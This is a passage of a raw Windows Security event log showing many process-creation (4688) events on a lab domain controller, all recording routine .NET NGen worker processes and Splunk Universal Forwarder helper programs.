Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254627
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb24
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6fc -InterruptEvent 0 -NGENProcess 290 -Pipe 7d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254626
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x370
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 258 -InterruptEvent 0 -NGENProcess 714 -Pipe 23c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254625
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7d8 -InterruptEvent 0 -NGENProcess 6fc -Pipe 624 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254632
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe80
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 448 -InterruptEvent 0 -NGENProcess 794 -Pipe 730 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254631
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x248
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254630
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x640
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5d4 -InterruptEvent 0 -NGENProcess 6fc -Pipe 694 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254635
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254634
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1008
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2d4 -InterruptEvent 0 -NGENProcess 794 -Pipe 254 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254633
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe38
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 648 -InterruptEvent 0 -NGENProcess 5d4 -Pipe 4a0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254636
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254642
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd20
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254641
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd10
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 464 -InterruptEvent 0 -NGENProcess 238 -Pipe 660 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254640
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6fc -InterruptEvent 0 -NGENProcess 260 -Pipe 640 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254639
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254638
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1200
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 794 -InterruptEvent 0 -NGENProcess 238 -Pipe 2d4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254637
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe50
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 260 -InterruptEvent 0 -NGENProcess 648 -Pipe 300 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254645
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1380
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254644
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 77c -InterruptEvent 0 -NGENProcess 588 -Pipe 794 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254643
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
